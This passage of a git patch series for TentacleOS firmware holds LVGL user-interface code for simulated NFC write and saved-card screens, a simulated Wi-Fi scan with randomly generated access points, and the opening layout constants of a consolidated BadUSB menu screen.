ui_switch_screen(SCREEN_NFC_MENU); + return; + } + + if (!s_empty) { + if (down && !s_down_last && s_sel < s_count - 1) { + s_sel++; + relayout(); + } + if (up && !s_up_last && s_sel > 0) { + s_sel--; + relayout(); + } + if ((ok && !s_ok_last) || (right && !s_right_last)) { + const nfc_sim_card_t *c = nfc_sim_saved_get(s_sel); + if (c != NULL) + overlay_open(c, s_sel); + } + } + +save: + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_nfc_saved_open(void) { + nfc_sim_init(); + if (s_nav_timer != NULL) { + lv_timer_delete(s_nav_timer); + s_nav_timer = NULL; + } + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_ov = NULL; + s_detail = DT_NONE; + s_sel_idx = -1; + s_sel = 0; + s_up_last = s_down_last = s_ok_last = s_back_last = s_left_last = s_right_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + ui_chrome_header(s_screen, "SAVED", "/assets/icons/card_icon.bin"); + + s_count = nfc_sim_saved_count(); + if (s_count > NFC_SIM_MAX_SAVED) + s_count = NFC_SIM_MAX_SAVED; + s_empty = (s_count == 0); + + if (s_empty) { + lv_obj_t *msg = lv_label_create(s_screen); + lv_label_set_text(msg, "No saved cards.\nRead a tag first."); + lv_obj_set_style_text_color(msg, current_theme.text_main, 0); + lv_obj_set_style_text_align(msg, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_center(msg); + } else { + int H = lv_display_get_vertical_resolution(NULL); + if (H < 200) + H = 320; + s_cont = lv_obj_create(s_screen); + lv_obj_set_size(s_cont, lv_pct(100), H - 46 - 26); + lv_obj_align(s_cont, LV_ALIGN_TOP_MID, 0, 46); + lv_obj_set_style_bg_opa(s_cont, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(s_cont, 0, 0); + lv_obj_set_style_pad_all(s_cont, 0, 0); + lv_obj_set_scrollbar_mode(s_cont, LV_SCROLLBAR_MODE_OFF); + + for (int i = 0; i < s_count; i++) { + s_cards[i] = nfc_ui_card_panel(s_cont, nfc_sim_saved_get(i)); + lv_obj_set_style_shadow_width(s_cards[i], 0, 0); + lv_obj_set_style_bg_grad_dir(s_cards[i], LV_GRAD_DIR_NONE, 0); + } + lv_obj_update_layout(s_screen); + relayout(); + + ui_chrome_footer(s_screen, LV_SYMBOL_UP LV_SYMBOL_DOWN " Browse OK Open BACK Exit"); + } + + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + lv_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/nfc/nfc_write_ui.c b/firmware_p4/components/Applications/ui/screens/nfc/nfc_write_ui.c new file mode 100644 index 000000000..f12c8f0b2 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/nfc_write_ui.c @@ -0,0 +1,261 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "nfc_write_ui.h" + +#include + +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "nfc_sim.h" +#include "nfc_ui_common.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 33 +#define ACCENT_GREEN 0x00E676 +#define WRITE_ICON "/assets/icons/write_icon.bin" + +enum { WR_NONE, WR_PLACE, WR_WRITING, WR_DONE }; +#define T_PLACE 1300 +#define T_WRITING 1600 +#define T_DONE 900 + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; +static bool s_empty = false; + +static lv_obj_t *s_ov = NULL; +static lv_obj_t *s_ov_status = NULL; +static lv_obj_t *s_ov_bar = NULL; +static nfc_ui_field_t s_ov_field; +static int s_wr = WR_NONE; +static uint32_t s_wr_start = 0; + +static bool s_up_last, s_down_last, s_ok_last, s_back_last, s_left_last, s_right_last; + +static void rings_show(bool show) { + for (int i = 0; i < 3; i++) { + if (!s_ov_field.ring[i]) + continue; + if (show) + lv_obj_remove_flag(s_ov_field.ring[i], LV_OBJ_FLAG_HIDDEN); + else + lv_obj_add_flag(s_ov_field.ring[i], LV_OBJ_FLAG_HIDDEN); + } +} + +static void overlay_close(void) { + if (s_ov) { + lv_obj_del(s_ov); + s_ov = NULL; + } + s_ov_status = NULL; + s_ov_bar = NULL; + for (int i = 0; i < 3; i++) + s_ov_field.ring[i] = NULL; + s_wr = WR_NONE; +} + +static void overlay_start(const nfc_sim_card_t *card) { + s_ov = lv_obj_create(s_screen); + lv_obj_set_size(s_ov, lv_pct(100), lv_pct(100)); + lv_obj_center(s_ov); + lv_obj_remove_flag(s_ov, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_color(s_ov, lv_color_black(), 0); + lv_obj_set_style_bg_opa(s_ov, LV_OPA_90, 0); + lv_obj_set_style_border_width(s_ov, 0, 0); + + ui_chrome_header(s_ov, "WRITE TAG", "/assets/icons/nfc_card_icon.bin"); + ui_chrome_footer(s_ov, "BACK Cancel"); + + lv_obj_t *panel = nfc_ui_card_panel(s_ov, card); + lv_obj_align(panel, LV_ALIGN_TOP_MID, 0, 46); + lv_obj_fade_in(panel, 260, 0); + + lv_obj_t *fc = lv_obj_create(s_ov); + lv_obj_remove_flag(fc, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(fc, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(fc, lv_pct(100), 130); + lv_obj_align(fc, LV_ALIGN_CENTER, 0, 20); + lv_obj_set_style_bg_opa(fc, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(fc, 0, 0); + lv_obj_set_style_pad_all(fc, 0, 0); + nfc_ui_field_create(&s_ov_field, fc, ui_theme_get_accent()); + + s_ov_status = lv_label_create(s_ov); + lv_label_set_text(s_ov_status, "Place blank tag"); + lv_obj_set_style_text_color(s_ov_status, current_theme.text_main, 0); + lv_obj_align(s_ov_status, LV_ALIGN_BOTTOM_MID, 0, -54); + + s_ov_bar = lv_bar_create(s_ov); + lv_obj_set_size(s_ov_bar, 180, 12); + lv_obj_align(s_ov_bar, LV_ALIGN_BOTTOM_MID, 0, -34); + lv_bar_set_range(s_ov_bar, 0, 100); + lv_bar_set_value(s_ov_bar, 0, LV_ANIM_OFF); + lv_obj_set_style_bg_color(s_ov_bar, lv_color_hex(0x202028), LV_PART_MAIN); + lv_obj_set_style_bg_color(s_ov_bar, lv_color_hex(ACCENT_GREEN), LV_PART_INDICATOR); + lv_obj_set_style_radius(s_ov_bar, 4, LV_PART_MAIN); + lv_obj_set_style_radius(s_ov_bar, 4, LV_PART_INDICATOR); + lv_obj_add_flag(s_ov_bar, LV_OBJ_FLAG_HIDDEN); + + s_wr = WR_PLACE; + s_wr_start = lv_tick_get(); +} + +static void write_tick(void) { + uint32_t el = lv_tick_get() - s_wr_start; + if (s_wr == WR_PLACE) { + nfc_ui_field_tick(&s_ov_field, el); + int dots = (el / 350) % 4; + char buf[28]; + snprintf(buf, + sizeof(buf), + "Place blank tag%s", + dots == 1 ? "." + : dots == 2 ? ".." + : dots == 3 ? "..." + : ""); + lv_label_set_text(s_ov_status, buf); + if (el >= T_PLACE) { + rings_show(false); + lv_obj_remove_flag(s_ov_bar, LV_OBJ_FLAG_HIDDEN); + s_wr = WR_WRITING; + s_wr_start = lv_tick_get(); + } + } else if (s_wr == WR_WRITING) { + int pct = (int)((uint64_t)el * 100 / T_WRITING); + if (pct > 100) + pct = 100; + lv_label_set_text(s_ov_status, "Writing..."); + lv_bar_set_value(s_ov_bar, pct, LV_ANIM_OFF); + if (el >= T_WRITING) { + s_wr = WR_DONE; + s_wr_start = lv_tick_get(); + } + } else if (s_wr == WR_DONE) { + lv_obj_set_style_text_color(s_ov_status, lv_color_hex(ACCENT_GREEN), 0); + lv_label_set_text(s_ov_status, "Written!"); + lv_bar_set_value(s_ov_bar, 100, LV_ANIM_OFF); + if (el >= T_DONE) + overlay_close(); + } +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (s_wr != WR_NONE) { + write_tick(); + if (s_wr != WR_NONE && back && !s_back_last) + overlay_close(); + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + return; + } + + if (ui_input_is_locked()) { + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + return; + } + + if ((back && !s_back_last) || (left && !s_left_last)) { + ui_switch_screen(SCREEN_NFC_MENU); + return; + } + + if (!s_empty) { + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if ((ok && !s_ok_last) || (right && !s_right_last)) { + int sel = menu_component_get_selected(&s_menu); + const nfc_sim_card_t *c = nfc_sim_saved_get(sel); + if (c != NULL) + overlay_start(c); + } + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_nfc_write_open(void) { + nfc_sim_init(); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_ov = NULL; + s_ov_status = NULL; + s_ov_bar = NULL; + for (int i = 0; i < 3; i++) + s_ov_field.ring[i] = NULL; + s_wr = WR_NONE; + s_up_last = s_down_last = s_ok_last = s_back_last = s_left_last = s_right_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + int n = nfc_sim_saved_count(); + s_empty = (n == 0); + + if (s_empty) { + ui_chrome_header(s_screen, "WRITE", WRITE_ICON); + ui_chrome_footer(s_screen, "BACK Back"); + lv_obj_t *msg = lv_label_create(s_screen); + lv_label_set_text(msg, "No cards to write.\nRead a tag first."); + lv_obj_set_style_text_color(msg, current_theme.text_main, 0); + lv_obj_set_style_text_align(msg, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_center(msg); + } else { + s_menu = menu_component_create(s_screen, "Write", WRITE_ICON); + int cap = n > 10 ? 10 : n; + for (int i = 0; i < cap; i++) + menu_component_add_item(&s_menu, WRITE_ICON, nfc_sim_saved_get(i)->name); + } + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} From dc05c5dfe25f89d582e267f650c979601231f81c Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:45:05 -0300 Subject: [PATCH 110/572] feat(ui): wire NFC menu to the new screens --- .../Applications/ui/screens/nfc/nfc_menu_ui.c | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/nfc/nfc_menu_ui.c b/firmware_p4/components/Applications/ui/screens/nfc/nfc_menu_ui.c index 412a53d4c..d7db5a93c 100644 --- a/firmware_p4/components/Applications/ui/screens/nfc/nfc_menu_ui.c +++ b/firmware_p4/components/Applications/ui/screens/nfc/nfc_menu_ui.c @@ -33,10 +33,11 @@ typedef struct { } nfc_menu_item_t; static const nfc_menu_item_t ITEMS[] = { - {"READ TAG", NULL, -1}, - {"WRITE TAG", NULL, -1}, - {"EMULATE", NULL, -1}, - {"SAVED TAGS", NULL, -1}, + {"READ TAGS", "/assets/icons/nfc_icon.bin", SCREEN_NFC_READ}, + {"EMULATE", "/assets/icons/emulate_icon.bin", SCREEN_CARD_EMU}, + {"WRITE", "/assets/icons/write_icon.bin", SCREEN_NFC_WRITE}, + {"CONFIGURATIONS", "/assets/icons/config_icon.bin", SCREEN_NFC_CONFIG}, + {"SAVED", "/assets/icons/card_icon.bin", SCREEN_NFC_SAVED}, }; #define ITEM_COUNT (sizeof(ITEMS) / sizeof(ITEMS[0])) @@ -62,10 +63,10 @@ static void nav_timer_cb(lv_timer_t *t) { if (ui_input_is_locked()) return; - bool up = up_button_is_down(); - bool down = down_button_is_down(); - bool left = left_button_is_down(); - bool right = right_button_is_down(); + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); bool ok = ok_button_is_down(); bool back = back_button_is_down(); @@ -105,7 +106,7 @@ void ui_nfc_menu_open(void) { lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - s_menu = menu_component_create(s_screen, "NFC", NULL); + s_menu = menu_component_create(s_screen, "NFC", "/assets/icons/nfc_icon.bin"); for (size_t i = 0; i < ITEM_COUNT; i++) { menu_component_add_item(&s_menu, ITEMS[i].icon, ITEMS[i].name); @@ -114,5 +115,5 @@ void ui_nfc_menu_open(void) { if (s_nav_timer == NULL) s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_PERIOD_MS, NULL); - lv_screen_load(s_screen); -} \ No newline at end of file + ui_screen_load(s_screen); +} From 2f614092937b79539e6a5405229eeb1cb3c684a3 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 12:02:00 -0300 Subject: [PATCH 111/572] refactor(ui): rewrite scan as a simulated scan and drop legacy scan subscreens --- .../ui/screens/wifi/include/wifi_scan_ui.h | 2 +- .../ui/screens/wifi/wifi_scan_ui.c | 302 ++++++++++++++---- 2 files changed, 244 insertions(+), 60 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_scan_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_scan_ui.h index a231c87a6..4d7e84caa 100644 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_scan_ui.h +++ b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_scan_ui.h @@ -20,7 +20,7 @@ extern "C" { #endif -/** @brief Open the Wi-Fi scan screen. */ +/** @brief Open the simulated Wi-Fi scan screen (fake but realistic APs). */ void ui_wifi_scan_open(void); #ifdef __cplusplus diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_ui.c index 3da0e0d35..18de6bd43 100644 --- a/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_ui.c +++ b/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_ui.c @@ -15,73 +15,146 @@ #include "wifi_scan_ui.h" -#include "esp_log.h" +#include +#include + +#include "esp_random.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "lvgl.h" -#include "ap_scanner.h" +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "msgbox_ui.h" +#include "ui_feedback.h" #include "ui_manager.h" #include "ui_theme.h" +#include "wifi_names.h" + +static const char *TAG_ICON = "/assets/icons/wifi_menu_icon.bin"; + +#define NAV_TIMER_MS 50 +#define SCAN_MS 1500 +#define AP_MAX 12 +#define COLOR_SECURE 0x00E676 +#define COLOR_OPEN 0xFFC107 +#define TASK_STACK_SIZE 4096 +#define TASK_PRIORITY 4 -static const char *TAG = "UI_SCAN"; +typedef enum { SCAN_RUNNING, SCAN_DONE } scan_state_t; -#define SPINNER_SIZE 80 -#define SPINNER_OFFSET_Y (-20) -#define ARC_WIDTH 4 -#define STATUS_OFFSET_Y 40 -#define ICON_OFFSET_Y (-30) -#define SCAN_POLL_MS 100 -#define SCAN_TIMEOUT 100 -#define RESULT_DISPLAY_MS 1000 -#define SCAN_TASK_NAME "WifiScanWorker" -#define SCAN_TASK_STACK 4096 -#define SCAN_TASK_PRIO 5 +typedef struct { + char ssid[25]; + uint8_t bssid[6]; + uint8_t channel; + int8_t rssi; + const char *enc; +} fake_ap_t; + +static const char *SSID_POOL[] = { + "NET_VIVO_2.4G", + "VIVOFIBRA-5521", + "CLARO_WIFI_3A", + "GVT-A1B2", + "TP-Link_4F2A", + "iPhone de Ana", + "AndroidAP_77", + "NETVIRTUA_9988", + "Linksys", + "Office-Guest", + "martin_cabo", + "MOVISTAR_2EF1", + "PORTAL_WIFI", + "Familia Souza", + "ALHN-2A40", + "DIRECT-PC-Setup", +}; +#define SSID_POOL_N ((int)(sizeof(SSID_POOL) / sizeof(SSID_POOL[0]))) + +static const char *ENC_POOL[] = {"WPA2", "WPA3", "WPA/WPA2", "WPA2", "OPEN"}; +#define ENC_POOL_N ((int)(sizeof(ENC_POOL) / sizeof(ENC_POOL[0]))) static lv_obj_t *s_screen = NULL; -static lv_obj_t *s_spinner = NULL; -static lv_obj_t *s_lbl_status = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; -static void scan_worker_task(void *arg) { - (void)arg; - ESP_LOGI(TAG, "Starting AP Scanner..."); +static scan_state_t s_scan_state = SCAN_RUNNING; +static bool s_scanning = false; +static bool s_scan_cued = false; +static int s_ap_count = 0; +static fake_ap_t s_aps[AP_MAX]; - ap_scanner_start(); +static bool s_btn_up_last = false; +static bool s_btn_down_last = false; +static bool s_btn_left_last = false; +static bool s_btn_right_last = false; +static bool s_btn_ok_last = false; +static bool s_btn_back_last = false; - uint16_t count = 0; - int timeout = SCAN_TIMEOUT; - while (ap_scanner_get_results(&count) == NULL && timeout > 0) { - vTaskDelay(pdMS_TO_TICKS(SCAN_POLL_MS)); - timeout--; - } +static void nav_timer_cb(lv_timer_t *t); - if (ui_acquire()) { - if (s_spinner != NULL) { - lv_obj_del(s_spinner); - s_spinner = NULL; - } +static const char *icon_for_rssi(int8_t rssi) { + if (rssi >= -55) + return "/assets/icons/wifi_icon_3.bin"; + if (rssi >= -65) + return "/assets/icons/wifi_icon_2.bin"; + if (rssi >= -75) + return "/assets/icons/wifi_icon_1.bin"; + return "/assets/icons/wifi_icon_0.bin"; +} - if (s_lbl_status != NULL) { - lv_label_set_text_fmt(s_lbl_status, "Found %d Networks!", count); - lv_obj_set_style_text_color(s_lbl_status, current_theme.text_main, 0); - lv_obj_align(s_lbl_status, LV_ALIGN_CENTER, 0, 0); +#define SRC_MAX 32 - lv_obj_t *icon = lv_label_create(s_screen); - lv_label_set_text(icon, LV_SYMBOL_OK); - lv_obj_set_style_text_color(icon, current_theme.text_main, 0); - lv_obj_align(icon, LV_ALIGN_CENTER, 0, ICON_OFFSET_Y); - } +static int src_count(void) { + int n = wifi_names_count(); + int c = n > 0 ? n : SSID_POOL_N; + return c > SRC_MAX ? SRC_MAX : c; +} +static const char *src_ssid(int i) { + return wifi_names_count() > 0 ? wifi_names_get(i) : SSID_POOL[i]; +} - ui_release(); - } +static void generate_aps(void) { + const int pool = src_count(); + int want = 6 + (int)(esp_random() % 7); + if (want > pool) + want = pool; + bool ssid_used[SRC_MAX] = {false}; + int n = 0; + for (int i = 0; i < want && n < AP_MAX; i++) { + int s; + int guard = 0; + do { + s = (int)(esp_random() % pool); + } while (ssid_used[s] && ++guard < 32); + if (ssid_used[s]) + continue; + ssid_used[s] = true; - vTaskDelay(pdMS_TO_TICKS(RESULT_DISPLAY_MS)); - ui_switch_screen(SCREEN_WIFI_AP_LIST); + fake_ap_t *ap = &s_aps[n++]; + const char *name = src_ssid(s); + strncpy(ap->ssid, name ? name : "(unknown)", sizeof(ap->ssid) - 1); + ap->ssid[sizeof(ap->ssid) - 1] = '\0'; + for (int b = 0; b < 6; b++) + ap->bssid[b] = (uint8_t)(esp_random() & 0xFF); + ap->channel = (uint8_t)(1 + esp_random() % 11); + ap->rssi = (int8_t)(-35 - (int)(esp_random() % 55)); + ap->enc = ENC_POOL[esp_random() % ENC_POOL_N]; + } - vTaskDelete(NULL); + for (int i = 1; i < n; i++) { + fake_ap_t key = s_aps[i]; + int j = i - 1; + while (j >= 0 && s_aps[j].rssi < key.rssi) { + s_aps[j + 1] = s_aps[j]; + j--; + } + s_aps[j + 1] = key; + } + s_ap_count = n; } -void ui_wifi_scan_open(void) { +static void build_screen(void) { if (s_screen != NULL) { lv_obj_del(s_screen); s_screen = NULL; @@ -89,22 +162,133 @@ void ui_wifi_scan_open(void) { s_screen = lv_obj_create(NULL); lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "Scan", TAG_ICON); + + if (s_scan_state == SCAN_RUNNING) { + menu_component_add_item(&s_menu, TAG_ICON, "Scanning channels..."); + } else if (s_ap_count == 0) { + menu_component_add_item(&s_menu, TAG_ICON, "No networks found"); + } else { + for (int i = 0; i < s_ap_count; i++) { + menu_component_add_item(&s_menu, icon_for_rssi(s_aps[i].rssi), s_aps[i].ssid); + uint32_t col = (strcmp(s_aps[i].enc, "OPEN") == 0) ? COLOR_OPEN : COLOR_SECURE; + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(col)); + } + } + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); - s_spinner = lv_spinner_create(s_screen); - lv_obj_set_size(s_spinner, SPINNER_SIZE, SPINNER_SIZE); - lv_obj_align(s_spinner, LV_ALIGN_CENTER, 0, SPINNER_OFFSET_Y); + ui_screen_load(s_screen); +} + +static void scan_done_cb(void *unused) { + (void)unused; + if (ui_current_screen() != SCREEN_WIFI_SCAN_MENU) + return; + build_screen(); + if (s_ap_count > 0 && !s_scan_cued) { + s_scan_cued = true; + ui_feedback(UI_FB_READ); + } +} + +static void wifi_scan_task(void *arg) { + (void)arg; + vTaskDelay(pdMS_TO_TICKS(SCAN_MS)); + generate_aps(); + s_scan_state = SCAN_DONE; + s_scanning = false; + lv_async_call(scan_done_cb, NULL); + vTaskDelete(NULL); +} + +static void show_ap_details(int idx) { + if (idx < 0 || idx >= s_ap_count) + return; + const fake_ap_t *ap = &s_aps[idx]; + char msg[96]; + snprintf(msg, + sizeof(msg), + "%s\n%02X:%02X:%02X:%02X:%02X:%02X\nCH %d %s\nRSSI %d dBm", + ap->ssid, + ap->bssid[0], + ap->bssid[1], + ap->bssid[2], + ap->bssid[3], + ap->bssid[4], + ap->bssid[5], + ap->channel, + ap->enc, + ap->rssi); + msgbox_open(LV_SYMBOL_WIFI, msg, "OK", NULL, NULL); +} - lv_obj_set_style_arc_color(s_spinner, ui_theme_get_accent(), LV_PART_INDICATOR); - lv_obj_set_style_arc_color(s_spinner, current_theme.border_inactive, LV_PART_MAIN); - lv_obj_set_style_arc_width(s_spinner, ARC_WIDTH, LV_PART_MAIN); - lv_obj_set_style_arc_width(s_spinner, ARC_WIDTH, LV_PART_INDICATOR); +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } - s_lbl_status = lv_label_create(s_screen); - lv_label_set_text(s_lbl_status, "Scanning..."); - lv_obj_set_style_text_color(s_lbl_status, current_theme.text_main, 0); - lv_obj_align(s_lbl_status, LV_ALIGN_CENTER, 0, STATUS_OFFSET_Y); + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); - lv_screen_load(s_screen); + if (msgbox_is_open() || ui_input_is_locked()) { + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; + return; + } - xTaskCreate(scan_worker_task, SCAN_TASK_NAME, SCAN_TASK_STACK, NULL, SCAN_TASK_PRIO, NULL); + if (down && !s_btn_down_last) + menu_component_next(&s_menu); + if (up && !s_btn_up_last) + menu_component_prev(&s_menu); + + if ((back && !s_btn_back_last) || (left && !s_btn_left_last)) + ui_switch_screen(SCREEN_WIFI_MENU); + + if (((ok && !s_btn_ok_last) || (right && !s_btn_right_last)) && !s_scanning) { + if (s_scan_state == SCAN_DONE && s_ap_count > 0) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0 && sel < s_ap_count) + show_ap_details(sel); + } + } + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; +} + +void ui_wifi_scan_open(void) { + s_scan_state = SCAN_RUNNING; + s_ap_count = 0; + s_scan_cued = false; + build_screen(); + + if (!s_scanning) { + s_scanning = true; + if (xTaskCreate(wifi_scan_task, "wifi_sim_scan", TASK_STACK_SIZE, NULL, TASK_PRIORITY, NULL) != + pdPASS) { + s_scanning = false; + s_scan_state = SCAN_DONE; + generate_aps(); + build_screen(); + } + } } From 48f74b4716a3ae4a64eb18f473dafc15bd152810 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:04:11 -0300 Subject: [PATCH 112/572] refactor(ui): consolidate screen modules into single badusb_menu_ui --- .../ui/screens/badusb/badusb_menu_ui.c | 860 ++++++++++++++++++ .../{ui_badusb_menu.h => badusb_menu_ui.h} | 6 +- .../badusb/include/ui_badusb_browser.h | 30 - .../badusb/include/ui_badusb_connect.h | 30 - .../screens/badusb/include/ui_badusb_layout.h | 30 - .../badusb/include/ui_badusb_running.h | 33 - .../ui/screens/badusb/ui_badusb_browser.c | 107 --- .../ui/screens/badusb/ui_badusb_connect.c | 111 --- .../ui/screens/badusb/ui_badusb_layout.c | 100 -- .../ui/screens/badusb/ui_badusb_menu.c | 120 --- .../ui/screens/badusb/ui_badusb_running.c | 161 ---- 11 files changed, 863 insertions(+), 725 deletions(-) create mode 100644 firmware_p4/components/Applications/ui/screens/badusb/badusb_menu_ui.c rename firmware_p4/components/Applications/ui/screens/badusb/include/{ui_badusb_menu.h => badusb_menu_ui.h} (91%) delete mode 100644 firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_browser.h delete mode 100644 firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_connect.h delete mode 100644 firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_layout.h delete mode 100644 firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_running.h delete mode 100644 firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_browser.c delete mode 100644 firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_connect.c delete mode 100644 firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_layout.c delete mode 100644 firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_menu.c delete mode 100644 firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_running.c diff --git a/firmware_p4/components/Applications/ui/screens/badusb/badusb_menu_ui.c b/firmware_p4/components/Applications/ui/screens/badusb/badusb_menu_ui.c new file mode 100644 index 000000000..faa12020b --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/badusb/badusb_menu_ui.c @@ -0,0 +1,860 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "badusb_menu_ui.h" + +#include +#include + +#include "esp_log.h" +#include "lvgl.h" +#include "st7789.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "ui_chrome.h" +#include "ui_feedback.h" +#include "ui_manager.h" +#include "ui_theme.h" +#include "waves_ui.h" + +static const char *TAG = "BADUSB_UI"; + +#define NAV_TIMER_MS 50 + +#define OUTER_BORDER 4 +#define TOP_BORDER_H 46 +#define TOP_AREA_BORDER_WIDTH 3 +#define TITLE_BAR_W 170 +#define TITLE_BAR_H 30 +#define TITLE_BAR_RADIUS 12 +#define TITLE_BAR_BORDER_WIDTH 2 + +#define TERM_GREEN 0x00E676 +#define TERM_DIM_GREEN 0x1F7A52 +#define DARK_PANEL_COLOR 0x05090A + +#define FADE_MS 200 + +#define STATUS_Y_OFS (TOP_BORDER_H + 12) + +#define RUN_HEADER_TITLE "BADUSB" +#define RUN_HEADER_TITLE_Y 10 +#define RUN_RULE_W_PCT 70 +#define RUN_RULE_H 2 +#define RUN_RULE_Y 32 + +#define DOT_COUNT 3 +#define DOT_SIZE 10 +#define DOT_GAP 18 +#define DOT_Y_OFS 64 +#define DOT_PULSE_MS 480 +#define DOT_STAGGER_MS 160 + +#define DETECT_MS 1400 +#define DONE_DELAY_MS 500 +#define STATUS_BLINK_MS 650 + +#define TERMINAL_W 216 +#define TERMINAL_H 138 +#define TERMINAL_TOP_Y 84 +#define TERMINAL_PAD 8 +#define TERMINAL_RADIUS 0 +#define TERMINAL_BORDER 2 